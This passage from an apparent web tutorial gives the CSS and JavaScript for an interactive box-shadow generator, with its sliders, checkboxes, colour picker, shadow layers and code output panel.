-#colorpicker [data-topic="hexa"] > span { - display: none; -} - -#colorpicker [data-topic="hexa"] > input { - width: 85px; - padding: 2px 0; - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; -} - - -/* - * UI Components - */ - -/* Property */ - -.property { - height: 20px; - margin: 10px 0; -} - -.property * { - float: left; - height: 100%; - line-height: 100%; -} - -/* Slider */ - -#controls .ui-slider-name { - margin: 0 10px 0 0; -} - -/* - * Output code styling - */ - -#output { - position: relative; -} - -#output .menu { - max-width: 70%; - height: 20px; - position: absolute; - top: 2px; -} - -#output .button { - width: 90px; - height: 22px; - margin: 0 5px 0 0; - text-align: center; - line-height: 20px; - font-size: 14px; - color: #FFF; - background-color: #999; - border-top-left-radius: 3px; - border-top-right-radius: 3px; - bottom: -5px; - float:left; -} - -#output .button:hover { - color: #FFF; - background-color: #666; - cursor: pointer; -} - -#output .menu [data-active="true"] { - color: #777; - background-color: #FFF; - border: 1px solid #CCC; - border-bottom: none; -} - -#output .menu [data-topic="before"] { - left: 100px; -} - -#output .menu [data-topic="after"] { - left: 200px; -} - -#output .output { - width: 480px; - margin: 10px; - padding: 10px; - overflow: hidden; - color: #555; - font-size: 14px; - border: 1px dashed #CCC; - border-radius: 3px; - display: none; - - -moz-box-sizing: border-box; - -webkit-box-sizing: border-box; - box-sizing: border-box; - - -moz-user-select: text; - -webkit-user-select: text; - -ms-user-select: text; -} - -#output .css-property { - width: 100%; - float: left; - white-space: pre; -} - -#output .name { - width: 35%; - float: left; -} - -#output .value { - width: 65%; - float: left; -} - -</pre> - -<h3 id="JavaScript_Content">JavaScript Content</h3> - -<pre class="brush: js"><code class="language-js"> - -'use strict'; - -/** - * UI-SlidersManager - */ - -var SliderManager = (function SliderManager() { - - var subscribers = {}; - var sliders = []; - - var Slider = function(node) { - var min = node.getAttribute('data-min') | 0; - var max = node.getAttribute('data-max') | 0; - var step = node.getAttribute('data-step') | 0; - var value = node.getAttribute('data-value') | 0; - var snap = node.getAttribute('data-snap'); - var topic = node.getAttribute('data-topic'); - - this.min = min; - this.max = max > 0 ? max : 100; - this.step = step === 0 ? 1 : step; - this.value = value <= max && value >= min ? value : (min + max) / 2 | 0; - this.snap = snap === "true" ? true : false; - this.topic = topic; - this.node = node; - - var pointer = document.createElement('div'); - pointer.className = 'ui-slider-pointer'; - node.appendChild(pointer); - this.pointer = pointer; - - setMouseTracking(node, updateSlider.bind(this)); - - sliders[topic] = this; - setValue(topic, this.value); - } - - var setButtonComponent = function setButtonComponent(node) { - var type = node.getAttribute('data-type'); - var topic = node.getAttribute('data-topic'); - if (type === "sub") { - node.textContent = '-'; - node.addEventListener("click", function() { - decrement(topic); - }); - } - if (type === "add") { - node.textContent = '+'; - node.addEventListener("click", function() { - increment(topic); - }); - } - } - - var setInputComponent = function setInputComponent(node) { - var topic = node.getAttribute('data-topic'); - var unit_type = node.getAttribute('data-unit'); - - var input = document.createElement('input'); - var unit = document.createElement('span'); - unit.textContent = unit_type; - - input.setAttribute('type', 'text'); - node.appendChild(input); - node.appendChild(unit); - - input.addEventListener('click', function(e) { - this.select(); - }); - - input.addEventListener('change', function(e) { - setValue(topic, e.target.value | 0); - }); - - subscribe(topic, function(value) { - node.children[0].value = value; - }); - } - - var increment = function increment(topic) { - var slider = sliders[topic]; - if (slider === null || slider === undefined) - return; - - if (slider.value + slider.step <= slider.max) { - slider.value += slider.step; - setValue(slider.topic, slider.value) - notify.call(slider); - } - }; - - var decrement = function decrement(topic) { - var slider = sliders[topic]; - if (slider === null || slider === undefined) - return; - - if (slider.value - slider.step >= slider.min) { - slider.value -= slider.step; - setValue(topic, slider.value) - notify.call(slider); - } - } - - // this = Slider object - var updateSlider = function updateSlider(e) { - var node = this.node; - var pos = e.pageX - node.offsetLeft; - var width = node.clientWidth; - var delta = this.max - this.min; - var offset = this.pointer.clientWidth + 4; // border width * 2 - - if (pos < 0) pos = 0; - if (pos > width) pos = width; - - var value = pos * delta / width | 0; - var precision = value % this.step; - value = value - precision + this.min; - if (precision > this.step / 2) - value = value + this.step; - - if (this.snap) - pos = (value - this.min) * width / delta; - - this.pointer.style.left = pos - offset/2 + "px"; - this.value = value; - node.setAttribute('data-value', value); - notify.call(this); - } - - var setValue = function setValue(topic, value) { - var slider = sliders[topic]; - - if (value > slider.max || value < slider.min) - return; - - var delta = slider.max - slider.min; - var width = slider.node.clientWidth; - var offset = slider.pointer.clientWidth; - var pos = (value - slider.min) * width / delta; - slider.value = value; - slider.pointer.style.left = pos - offset / 2 + "px"; - slider.node.setAttribute('data-value', value); - notify.call(slider); - } - - var setMouseTracking = function setMouseTracking(elem, callback) { - elem.addEventListener("mousedown", function(e) { - callback(e); - document.addEventListener("mousemove", callback); - }); - - document.addEventListener("mouseup", function(e) { - document.removeEventListener("mousemove", callback); - }); - } - - var subscribe = function subscribe(topic, callback) { - if (subscribers[topic] === undefined) - subscribers[topic] = []; - subscribers[topic].push(callback); - } - - var unsubscribe = function unsubscribe(topic, callback) { - subscribers[topic].indexOf(callback); - subscribers[topic].splice(index, 1); - } - - var notify = function notify() { - if (subscribers[this.topic] === undefined) - return; - - for (var i in subscribers[this.topic]) { - subscribers[this.topic][i](this.value); - } - } - - var init = function init() { - var elem, size; - - elem = document.querySelectorAll('.ui-slider-btn-set'); - size = elem.length; - for (var i = 0; i < size; i++) - setButtonComponent(elem[i]); - - elem = document.querySelectorAll('.ui-slider-input'); - size = elem.length; - for (var i = 0; i < size; i++) - setInputComponent(elem[i]); - - elem = document.querySelectorAll('.ui-slider'); - size = elem.length; - for (var i = 0; i < size; i++) - new Slider(elem[i]); - } - - return { - init : init, - setValue : setValue, - subscribe : subscribe, - unsubscribe : unsubscribe - } - -})(); - -/** - * UI-ButtonManager - */ - -var ButtonManager = (function CheckBoxManager() { - - var subscribers = []; - var buttons = []; - - var CheckBox = function CheckBox(node) { - var topic = node.getAttribute('data-topic'); - var state = node.getAttribute('data-state'); - var name = node.getAttribute('data-label'); - var align = node.getAttribute('data-text-on'); - - state = (state === "true"); - - var checkbox = document.createElement("input"); - var label = document.createElement("label"); - - var id = 'checkbox-' + topic; - checkbox.id = id; - checkbox.setAttribute('type', 'checkbox'); - checkbox.checked = state; - - label.setAttribute('for', id); - if (name) { - label.className = 'text'; - if (align) - label.className += ' ' + align; - label.textContent = name; - } - - node.appendChild(checkbox); - node.appendChild(label); - - this.node = node; - this.topic = topic; - this.checkbox = checkbox; - - checkbox.addEventListener('change', function(e) { - notify.call(this); - }.bind(this)); - - buttons[topic] = this; - } - - var getNode = function getNode(topic) { - return buttons[topic].node; - } - - var setValue = function setValue(topic, value) { - try { - buttons[topic].checkbox.checked = value; - notify.call(buttons[topic]); - } - catch(error) { - console.log(error, topic, value); - } - } - - var subscribe = function subscribe(topic, callback) { - if (subscribers[topic] === undefined) - subscribers[topic] = []; - - subscribers[topic].push(callback); - } - - var unsubscribe = function unsubscribe(topic, callback) { - subscribers[topic].indexOf(callback); - subscribers[topic].splice(index, 1); - } - - var notify = function notify() { - if (subscribers[this.topic] === undefined) - return; - for (var i = 0; i < subscribers[this.topic].length; i++) - subscribers[this.topic][i](this.checkbox.checked); - } - - var init = function init() { - var elem = document.querySelectorAll('.ui-checkbox'); - var size = elem.length; - for (var i = 0; i < size; i++) - new CheckBox(elem[i]); - } - - return { - init : init, - setValue : setValue, - subscribe : subscribe, - unsubscribe : unsubscribe - } - -})(); - - -window.addEventListener("load", function(){ - BoxShadow.init(); -}); - -var BoxShadow = (function BoxShadow() { - - function getElemById(id) { - return document.getElementById(id); - } - - /** - * RGBA Color class - */ - - function Color() { - this.r = 0; - this.g = 0; - this.b = 0; - this.a = 1; - this.hue = 0; - this.saturation = 0; - this.value = 0; - } - - Color.prototype.copy = function copy(obj) { - if(obj instanceof Color !== true) { - console.log("Typeof instance not Color"); - return; - } - - this.r = obj.r; - this.g = obj.g; - this.b = obj.b; - this.a = obj.a; - this.hue = obj.hue; - this.saturation = obj.saturation; - this.value = obj.value; - } - - Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) { - if (red != undefined) - this.r = red | 0; - if (green != undefined) - this.g = green | 0; - if (blue != undefined) - this.b = blue | 0; - if (alpha != undefined) - this.a = alpha | 0; - } - - /** - * HSV/HSB (hue, saturation, value / brightness) - * @param hue 0-360 - * @param saturation 0-100 - * @param value 0-100 - */ - Color.prototype.setHSV = function setHSV(hue, saturation, value) { - this.hue = hue; - this.saturation = saturation; - this.value = value; - this.updateRGB(); - } - - Color.prototype.updateRGB = function updateRGB() { - var sat = this.saturation / 100; - var value = this.value / 100; - var C = sat * value; - var H = this.hue / 60; - var X = C * (1 - Math.abs(H % 2 - 1)); - var m = value - C; - var precision = 255; - - C = (C + m) * precision; - X = (X + m) * precision; - m = m * precision; - - if (H >= 0 && H < 1) { this.setRGBA(C, X, m); return; } - if (H >= 1 && H < 2) { this.setRGBA(X, C, m); return; } - if (H >= 2 && H < 3) { this.setRGBA(m, C, X); return; } - if (H >= 3 && H < 4) { this.setRGBA(m, X, C); return; } - if (H >= 4 && H < 5) { this.setRGBA(X, m, C); return; } - if (H >= 5 && H < 6) { this.setRGBA(C, m, X); return; } - } - - Color.prototype.updateHSV = function updateHSV() { - var red = this.r / 255; - var green = this.g / 255; - var blue = this.b / 255; - - var cmax = Math.max(red, green, blue); - var cmin = Math.min(red, green, blue); - var delta = cmax - cmin; - var hue = 0; - var saturation = 0; - - if (delta) { - if (cmax === red ) { hue = ((green - blue) / delta); } - if (cmax === green ) { hue = 2 + (blue - red) / delta; } - if (cmax === blue ) { hue = 4 + (red - green) / delta; } - if (cmax) saturation = delta / cmax; - } - - this.hue = 60 * hue | 0; - if (this.hue < 0) this.hue += 360; - this.saturation = (saturation * 100) | 0; - this.value = (cmax * 100) | 0; - } - - Color.prototype.setHexa = function setHexa(value) { - var valid = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value) - if (valid !== true) - return; - - if (value[0] === '#') - value = value.slice(1, value.length); - - if (value.length === 3) - value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3"); - - this.r = parseInt(value.substr(0, 2), 16); - this.g = parseInt(value.substr(2, 2), 16); - this.b = parseInt(value.substr(4, 2), 16); - - this.alpha = 1; - } - - Color.prototype.getHexa = function getHexa() { - var r = this.r.toString(16); - var g = this.g.toString(16); - var b = this.b.toString(16); - if (this.r < 16) r = '0' + r; - if (this.g < 16) g = '0' + g; - if (this.b < 16) b = '0' + b; - var value = '#' + r + g + b; - return value.toUpperCase(); - } - - Color.prototype.getRGBA = function getRGBA() { - - var rgb = "(" + this.r + ", " + this.g + ", " + this.b; - var a = ''; - var v = ''; - if (this.a !== 1) { - a = 'a'; - v = ', ' + this.a; - } - - var value = "rgb" + a + rgb + v + ")"; - return value; - } - - Color.prototype.getColor = function getColor() { - if (this.a | 0 === 1) - return this.getHexa(); - return this.getRGBA(); - } - - /** - * Shadow Object - */ - function Shadow() { - this.inset = false; - this.posX = 5; - this.posY = -5; - this.blur = 5; - this.spread = 0; - this.color = new Color(); - - var hue = (Math.random() * 360) | 0; - var saturation = (Math.random() * 75) | 0; - var value = (Math.random() * 50 + 50) | 0; - this.color.setHSV(hue, saturation, value, 1); - } - - Shadow.prototype.computeCSS = function computeCSS() { - var value = ""; - if (this.inset === true) - value += "inset "; - value += this.posX + "px "; - value += this.posY + "px "; - value += this.blur + "px "; - value += this.spread + "px "; - value += this.color.getColor(); - - return value; - } - - Shadow.prototype.toggleInset = function toggleInset(value) { - if (value !== undefined || typeof value === "boolean") - this.inset = value; - else - this.inset = this.inset === true ? false : true; - } - - Shadow.prototype.copy = function copy(obj) { - if(obj instanceof Shadow !== true) { - console.log("Typeof instance not Shadow"); - return; - } - - this.inset = obj.inset; - this.posX = obj.posX; - this.posY = obj.posY; - this.blur = obj.blur; - this.spread = obj.spread; - this.color.copy(obj.color); - } - - /** - * Color Picker - */ - var ColoPicker = (function ColoPicker() { - - var colorpicker; - var hue_area; - var gradient_area; - var alpha_area; - var gradient_picker; - var hue_selector; - var alpha_selector; - var pick_object; - var info_rgb; - var info_hsv; - var info_hexa; - var output_color; - var color = new Color(); - var subscribers = []; - - var updateColor = function updateColor(e) { - var x = e.pageX - gradient_area.offsetLeft; - var y = e.pageY - gradient_area.offsetTop; - - // width and height should be the same - var size = gradient_area.clientWidth; - - if (x > size) - x = size; - if (y > size) - y = size; - - if (x < 0) x = 0; - if (y < 0) y = 0; - - var value = 100 - (y * 100 / size) | 0; - var saturation = x * 100 / size | 0; - - color.setHSV(color.hue, saturation, value); - // should update just - // color pointer location - updateUI(); - notify("color", color); - } - - var updateHue = function updateHue(e) { - var x = e.pageX - hue_area.offsetLeft; - var width = hue_area.clientWidth; - - if (x < 0) x = 0; - if (x > width) x = width; - - var hue = ((360 * x) / width) | 0; - if (hue === 360) hue = 359; - - color.setHSV(hue, color.saturation, color.value); - - // should update just - // hue pointer location - // picker area background - // alpha area background - updateUI(); - notify("color", color); - } - - var updateAlpha = function updateAlpha(e) { - var x = e.pageX - alpha_area.offsetLeft; - var width = alpha_area.clientWidth; - - if (x < 0) x = 0; - if (x > width) x = width; - - color.a = (x / width).toFixed(2); - - // should update just - // alpha pointer location - updateUI(); - notify("color", color); - } - - var setHueGfx = function setHueGfx(hue) { - var sat = color.saturation; - var val = color.value; - var alpha = color.a; - - color.setHSV(hue, 100, 100); - gradient_area.style.backgroundColor = color.getHexa(); - - color.a = 0; - var start = color.getRGBA(); - color.a = 1; - var end = color.getRGBA(); - color.a = alpha; - - var gradient = '-moz-linear-gradient(left, ' + start + '0%, ' + end + ' 100%)'; - alpha_area.style.background = gradient; - } - - var updateUI = function updateUI() { - var x, y; // coordinates - var size; // size of the area - var offset; // pointer graphic selector offset - - // Set color pointer location - size = gradient_area.clientWidth; - offset = gradient_picker.clientWidth / 2 + 2; - - x = (color.saturation * size / 100) | 0; - y = size - (color.value * size / 100) | 0; - - gradient_picker.style.left = x - offset + "px"; - gradient_picker.style.top = y - offset + "px"; - - // Set hue pointer location - size = hue_area.clientWidth; - offset = hue_selector.clientWidth/2; - x = (color.hue * size / 360 ) | 0; - hue_selector.style.left = x - offset + "px"; - - // Set alpha pointer location - size = alpha_area.clientWidth; - offset = alpha_selector.clientWidth/2; - x = (color.a * size) | 0; - alpha_selector.style.left = x - offset + "px"; - - // Set picker area background - var nc = new Color(); - nc.copy(color); - if (nc.hue === 360) nc.hue = 0; - nc.setHSV(nc.hue, 100, 100); - gradient_area.style.backgroundColor = nc.getHexa(); - - // Set alpha area background - nc.copy(color); - nc.a = 0; - var start = nc.getRGBA(); - nc.a = 1; - var end = nc.getRGBA(); - var gradient = '-moz-linear-gradient(left, ' + start + '0%, ' + end + ' 100%)'; - alpha_area.style.background = gradient; - - // Update color info - notify("color", color); - notify("hue", color.hue); - notify("saturation", color.saturation); - notify("value", color.value); - notify("r", color.r); - notify("g", color.g); - notify("b", color.b); - notify("a", color.a); - notify("hexa", color.getHexa()); - output_color.style.backgroundColor = color.getRGBA(); - } - - var setInputComponent = function setInputComponent(node) { - var topic = node.getAttribute('data-topic'); - var title = node.getAttribute('data-title'); - var action = node.getAttribute('data-action'); - title = title === null ? '' : title; - - var input = document.createElement('input'); - var info = document.createElement('span'); - info.textContent = title; - - input.setAttribute('type', 'text'); - input.setAttribute('data-action', 'set-' + action + '-' + topic); - node.appendChild(info); - node.appendChild(input); - - input.addEventListener('click', function(e) { - this.select(); - }); - - input.addEventListener('change', function(e) { - if (action === 'HSV') - inputChangeHSV(topic); - if (action === 'RGB') - inputChangeRGB(topic); - if (action === 'alpha') - inputChangeAlpha(topic); - if (action === 'hexa') - inputChangeHexa(topic); - }); - - subscribe(topic, function(value) { - node.children[1].value = value; - }); - } - - var inputChangeHSV = function actionHSV(topic) { - var selector = "[data-action='set-HSV-" + topic + "']"; - var node = document.querySelector("#colorpicker " + selector); - var value = parseInt(node.value); - - if (typeof value === 'number' && isNaN(value) === false && - value >= 0 && value < 360) - color[topic] = value; - - color.updateRGB(); - updateUI(); - } - - var inputChangeRGB = function inputChangeRGB(topic) { - var selector = "[data-action='set-RGB-" + topic + "']"; - var node = document.querySelector("#colorpicker " + selector); - var value = parseInt(node.value); - - if (typeof value === 'number' && isNaN(value) === false && - value >= 0 && value <= 255) - color[topic] = value; - - color.updateHSV(); - updateUI(); - } - - var inputChangeAlpha = function inputChangeAlpha(topic) { - var selector = "[data-action='set-alpha-" + topic + "']"; - var node = document.querySelector("#colorpicker " + selector); - var value = parseFloat(node.value); - - if (typeof value === 'number' && isNaN(value) === false && - value >= 0 && value <= 1) - color.a = value.toFixed(2); - - updateUI(); - } - - var inputChangeHexa = function inputChangeHexa(topic) { - var selector = "[data-action='set-hexa-" + topic + "']"; - var node = document.querySelector("#colorpicker " + selector); - var value = node.value; - color.setHexa(value); - color.updateHSV(); - updateUI(); - } - - var setMouseTracking = function setMouseTracking(elem, callback) { - - elem.addEventListener("mousedown", function(e) { - callback(e); - document.addEventListener("mousemove", callback); - }); - - document.addEventListener("mouseup", function(e) { - document.removeEventListener("mousemove", callback); - }); - } - - /* - * Observer - */ - var setColor = function setColor(obj) { - if(obj instanceof Color !== true) { - console.log("Typeof instance not Color"); - return; - } - color.copy(obj); - updateUI(); - } - - var subscribe = function subscribe(topic, callback) { - if (subscribers[topic] === undefined) - subscribers[topic] = []; - - subscribers[topic].push(callback); - } - - var unsubscribe = function unsubscribe(callback) { - subscribers.indexOf(callback); - subscribers.splice(index, 1); - } - - var notify = function notify(topic, value) { - for (var i in subscribers[topic]) - subscribers[topic][i](value); - } - - var init = function init() { - colorpicker = getElemById("colorpicker"); - hue_area = getElemById("hue"); - gradient_area = getElemById("gradient"); - alpha_area = getElemById("alpha"); - gradient_picker = getElemById("gradient_picker"); - hue_selector = getElemById("hue_selector"); - alpha_selector = getElemById("alpha_selector"); - output_color = getElemById("output_color"); - - var elem = document.querySelectorAll('#colorpicker .input'); - var size = elem.length; - for (var i = 0; i < size; i++) - setInputComponent(elem[i]); - - setMouseTracking(gradient_area, updateColor); - setMouseTracking(hue_area, updateHue); - setMouseTracking(alpha_area, updateAlpha); - - } - - return { - init : init, - setColor : setColor, - subscribe : subscribe, - unsubscribe : unsubscribe - } - - })(); - - /** - * Shadow dragging - */ - var PreviewMouseTracking = (function Drag() { - var active = false; - var lastX = 0; - var lastY = 0; - var subscribers = []; - - var init = function init(id) { - var elem = getElemById(id); - elem.addEventListener('mousedown', dragStart, false); - document.addEventListener('mouseup', dragEnd, false); - } - - var dragStart = function dragStart(e) { - if (e.button !== 0) - return; - - active = true; - lastX = e.clientX; - lastY = e.clientY; - document.addEventListener('mousemove', mouseDrag, false); - } - - var dragEnd = function dragEnd(e) { - if (e.button !== 0) - return; - - if (active === true) { - active = false; - document.removeEventListener('mousemove', mouseDrag, false); - } - } - - var mouseDrag = function mouseDrag(e) { - notify(e.clientX - lastX, e.clientY - lastY); - lastX = e.clientX; - lastY = e.clientY; - } - - var subscribe = function subscribe(callback) { - subscribers.push(callback); - } - - var unsubscribe = function unsubscribe(callback) { - var index = subscribers.indexOf(callback); - subscribers.splice(index, 1); - } - - var notify = function notify(deltaX, deltaY) { - for (var i in subscribers) - subscribers[i](deltaX, deltaY); - } - - return { - init : init, - subscribe : subscribe, - unsubscribe : unsubscribe - } - - })(); - - /* - * Element Class - */ - var CssClass = function CssClass(id) { - this.left = 0; - this.top = 0; - this.rotate = 0; - this.width = 300; - this.height = 100; - this.display = true; - this.border = true; - this.zIndex = -1; - this.bgcolor = new Color(); - this.id = id; - this.node = getElemById('obj-' + id); - this.object = getElemById(id); - this.shadowID = null; - this.shadows = [] - this.render = []; - this.init(); - } - - CssClass.prototype.init = function init() { - this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0; - this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0; - - this.setTop(this.top); - this.setLeft(this.left); - this.setHeight(this.height); - this.setWidth(this.width); - this.bgcolor.setHSV(0, 0, 100); - this.updateBgColor(this.bgcolor); - } - - CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) { - this.left += deltaX; - this.top += deltaY; - this.node.style.top = this.top + "px"; - this.node.style.left = this.left + "px"; - SliderManager.setValue("left", this.left); - SliderManager.setValue("top", this.top); - } - - CssClass.prototype.setLeft = function setLeft(value) { - this.left = value; - this.node.style.left = this.left + "px"; - OutputManager.updateProperty(this.id, 'left', this.left + 'px'); - } - - CssClass.prototype.setTop = function setTop(value) { - this.top = value; - this.node.style.top = this.top + 'px'; - OutputManager.updateProperty(this.id, 'top', this.top + 'px'); - } - - CssClass.prototype.setWidth = function setWidth(value) { - this.width = value; - this.node.style.width = this.width + 'px'; - OutputManager.updateProperty(this.id, 'width', this.width + 'px'); - } - - CssClass.prototype.setHeight = function setHeight(value) { - this.height = value; - this.node.style.height = this.height + 'px'; - OutputManager.updateProperty(this.id, 'height', this.height + 'px'); - } - - // Browser support - CssClass.prototype.setRotate = function setRotate(value) { - var cssvalue = 'rotate(' + value +'deg)'; - - this.node.style.transform = cssvalue; - this.node.style.webkitTransform = cssvalue; - this.node.style.msTransform = cssvalue; - - if (value !== 0) { - if (this.rotate === 0) { - OutputManager.toggleProperty(this.id, 'transform', true); - OutputManager.toggleProperty(this.id, '-webkit-transform', true); - OutputManager.toggleProperty(this.id, '-ms-transform', true); - } - } - else { - OutputManager.toggleProperty(this.id, 'transform', false); - OutputManager.toggleProperty(this.id, '-webkit-transform', false); - OutputManager.toggleProperty(this.id, '-ms-transform', false); - } - - OutputManager.updateProperty(this.id, 'transform', cssvalue); - OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue); - OutputManager.updateProperty(this.id, '-ms-transform', cssvalue); - this.rotate = value; - } - - CssClass.prototype.setzIndex = function setzIndex(value) { - this.node.style.zIndex = value; - OutputManager.updateProperty(this.id, 'z-index', value); - this.zIndex = value; - } - - CssClass.prototype.toggleDisplay = function toggleDisplay(value) { - if (typeof value !== "boolean" || this.display === value) - return; - - this.display = value; - var display = this.display === true ? "block" : "none"; - this.node.style.display = display; - this.object.style.display = display; - } - - CssClass.prototype.toggleBorder = function toggleBorder(value) { - if (typeof value !== "boolean" || this.border === value) - return; - - this.border = value; - var border = this.border === true ? "1px solid #CCC" : "none"; - this.node.style.border = border; - } - - CssClass.prototype.updateBgColor = function updateBgColor(color) { - this.bgcolor.copy(color); - this.node.style.backgroundColor = color.getColor(); - OutputManager.updateProperty(this.id, 'background-color', color.getColor()); - } - - CssClass.prototype.updateShadows = function updateShadows() { - if (this.render.length === 0) - OutputManager.toggleProperty(this.id, 'box-shadow', false); - if (this.render.length === 1) - OutputManager.toggleProperty(this.id, 'box-shadow', true); - - this.node.style.boxShadow = this.render.join(", "); - OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n")); - - } - - - /** - * Tool Manager - */ - var Tool = (function Tool() { - - var preview; - var classes = []; - var active = null; - var animate = false; - - /* - * Toll actions - */ - var addCssClass = function addCssClass(id) { - classes[id] = new CssClass(id); - } - - var setActiveClass = function setActiveClass(id) { - active = classes[id]; - active.shadowID = null; - ColoPicker.setColor(classes[id].bgcolor); - SliderManager.setValue("top", active.top); - SliderManager.setValue("left", active.left); - SliderManager.setValue("rotate", active.rotate); - SliderManager.setValue("z-index", active.zIndex); - SliderManager.setValue("width", active.width); - SliderManager.setValue("height", active.height); - ButtonManager.setValue("border-state", active.border); - active.updateShadows(); - } - - var disableClass = function disableClass(topic) { - classes[topic].toggleDisplay(false); - ButtonManager.setValue(topic, false); - } - - var addShadow = function addShadow(position) { - if (animate === true) - return -1; - - active.shadows.splice(position, 0, new Shadow()); - active.render.splice(position, 0, null); - } - - var swapShadow = function swapShadow(id1, id2) { - var x = active.shadows[id1]; - active.shadows[id1] = active.shadows[id2]; - active.shadows[id2] = x; - updateShadowCSS(id1); - updateShadowCSS(id2); - } - - var deleteShadow = function deleteShadow(position) { - active.shadows.splice(position, 1); - active.render.splice(position, 1); - active.updateShadows(); - } - - var setActiveShadow = function setActiveShadow(id, glow) { - active.shadowID = id; - ColoPicker.setColor(active.shadows[id].color); - ButtonManager.setValue("inset", active.shadows[id].inset); - SliderManager.setValue("blur", active.shadows[id].blur); - SliderManager.setValue("spread", active.shadows[id].spread); - SliderManager.setValue("posX", active.shadows[id].posX); - SliderManager.setValue("posY", active.shadows[id].posY); - if (glow === true) - addGlowEffect(id); - } - - var addGlowEffect = function addGlowEffect(id) { - if (animate === true) - return; - - animate = true; - var store = new Shadow(); - var shadow = active.shadows[id]; - - store.copy(shadow); - shadow.color.setRGBA(40, 125, 200, 1); - shadow.blur = 10; - shadow.spread = 10; - - active.node.style.transition = "box-shadow 0.2s"; - updateShadowCSS(id); - - setTimeout(function() { - shadow.copy(store); - updateShadowCSS(id); - setTimeout(function() { - active.node.style.removeProperty("transition"); - animate = false; - }, 100); - }, 200); - } - - var updateActivePos = function updateActivePos(deltaX, deltaY) { - if (active.shadowID === null) - active.updatePos(deltaX, deltaY); - else - updateShadowPos(deltaX, deltaY); - } - - /* - * Shadow properties - */ - var updateShadowCSS = function updateShadowCSS(id) { - active.render[id] = active.shadows[id].computeCSS(); - active.updateShadows(); - } - - var toggleShadowInset = function toggleShadowInset(value) { - if (active.shadowID === null) - return; - active.shadows[active.shadowID].toggleInset(value); - updateShadowCSS(active.shadowID); - } - - var updateShadowPos = function updateShadowPos(deltaX, deltaY) { - var shadow = active.shadows[active.shadowID]; - shadow.posX += deltaX; - shadow.posY += deltaY; - SliderManager.setValue("posX", shadow.posX); - SliderManager.setValue("posY", shadow.posY); - updateShadowCSS(active.shadowID); - } - - var setShadowPosX = function setShadowPosX(value) { - if (active.shadowID === null) - return; - active.shadows[active.shadowID].posX = value; - updateShadowCSS(active.shadowID); - } - - var setShadowPosY = function setShadowPosY(value) { - if (active.shadowID === null) - return; - active.shadows[active.shadowID].posY = value; - updateShadowCSS(active.shadowID); - } - - var setShadowBlur = function setShadowBlur(value) { - if (active.shadowID === null) - return; - active.shadows[active.shadowID].blur = value; - updateShadowCSS(active.shadowID); - } - - var setShadowSpread = function setShadowSpread(value) { - if (active.shadowID === null) - return; - active.shadows[active.shadowID].spread = value; - updateShadowCSS(active.shadowID); - } - - var updateShadowColor = function updateShadowColor(color) { - active.shadows[active.shadowID].color.copy(color); - updateShadowCSS(active.shadowID); - } - - /* - * Element Properties - */ - var updateColor = function updateColor(color) { - if (active.shadowID === null) - active.updateBgColor(color); - else - updateShadowColor(color); - } - - var init = function init() { - preview = getElemById("preview"); - - ColoPicker.subscribe("color", updateColor); - PreviewMouseTracking.subscribe(updateActivePos); - - // Affects shadows - ButtonManager.subscribe("inset", toggleShadowInset); - SliderManager.subscribe("posX", setShadowPosX); - SliderManager.subscribe("posY", setShadowPosY); - SliderManager.subscribe("blur", setShadowBlur); - SliderManager.subscribe("spread", setShadowSpread); - - // Affects element - SliderManager.subscribe("top", function(value){ - active.setTop(value); - }); - SliderManager.subscribe("left", function(value){ - active.setLeft(value); - }); - SliderManager.subscribe("rotate", function(value) { - if (active == classes["element"]) - return; - active.setRotate(value); - }); - - SliderManager.subscribe("z-index", function(value) { - if (active == classes["element"]) - return; - active.setzIndex(value); - }); - - SliderManager.subscribe("width", function(value) { - active.setWidth(value) - }); - - SliderManager.subscribe("height", function(value) { - active.setHeight(value) - }); - - // Actions - classes['before'].top = -30; - classes['before'].left = -30; - classes['after'].top = 30; - classes['after'].left = 30; - classes['before'].toggleDisplay(false); - classes['after'].toggleDisplay(false); - ButtonManager.setValue('before', false); - ButtonManager.setValue('after', false); - - ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before'])); - ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after'])); - - ButtonManager.subscribe("border-state", function(value) { - active.toggleBorder(value); - }); - - } - - return { - init : init, - addShadow : addShadow, - swapShadow : swapShadow, - addCssClass : addCssClass, - disableClass : disableClass, - deleteShadow : deleteShadow, - setActiveClass : setActiveClass, - setActiveShadow : setActiveShadow - } - - })(); - - /** - * Layer Manager - */ - var LayerManager = (function LayerManager() { - var stacks = []; - var active = { - node : null, - stack : null - } - var elements = {}; - - var mouseEvents = function mouseEvents(e) { - var node = e.target; - var type = node.getAttribute('data-type'); - - if (type === 'subject') - setActiveStack(stacks[node.id]); - - if (type === 'disable') { - Tool.disableClass(node.parentNode.id); - setActiveStack(stacks['element']); - } - - if (type === 'add') - active.stack.addLayer(); - - if (type === 'layer') - active.stack.setActiveLayer(node); - - if (type === 'delete') - active.stack.deleteLayer(node.parentNode); - - if (type === 'move-up') - active.stack.moveLayer(1); - - if (type === 'move-down') - active.stack.moveLayer(-1); - } - - var setActiveStack = function setActiveStack(stackObj) { - active.stack.hide(); - active.stack = stackObj; - active.stack.show(); - } - - /* - * Stack object - */ - var Stack = function Stack(subject) { - var S = document.createElement('div'); - var title = document.createElement('div'); - var stack = document.createElement('div'); - - S.className = 'container'; - stack.className = 'stack'; - title.className = 'title'; - title.textContent = subject.getAttribute('data-title'); - S.appendChild(title); - S.appendChild(stack); - - this.id = subject.id; - this.container = S; - this.stack = stack; - this.subject = subject; - this.order = []; - this.uid = 0; - this.count = 0; - this.layer = null; - this.layerID = 0; - } - - Stack.prototype.addLayer = function addLayer() { - if (Tool.addShadow(this.layerID) == -1) - return; - - var uid = this.getUID(); - var layer = this.createLayer(uid); - - if (this.layer === null && this.stack.children.length >= 1) - this.layer = this.stack.children[0]; - - this.stack.insertBefore(layer, this.layer); - this.order.splice(this.layerID, 0, uid); - this.count++; - this.setActiveLayer(layer); - } - - Stack.prototype.createLayer = function createLayer(uid) { 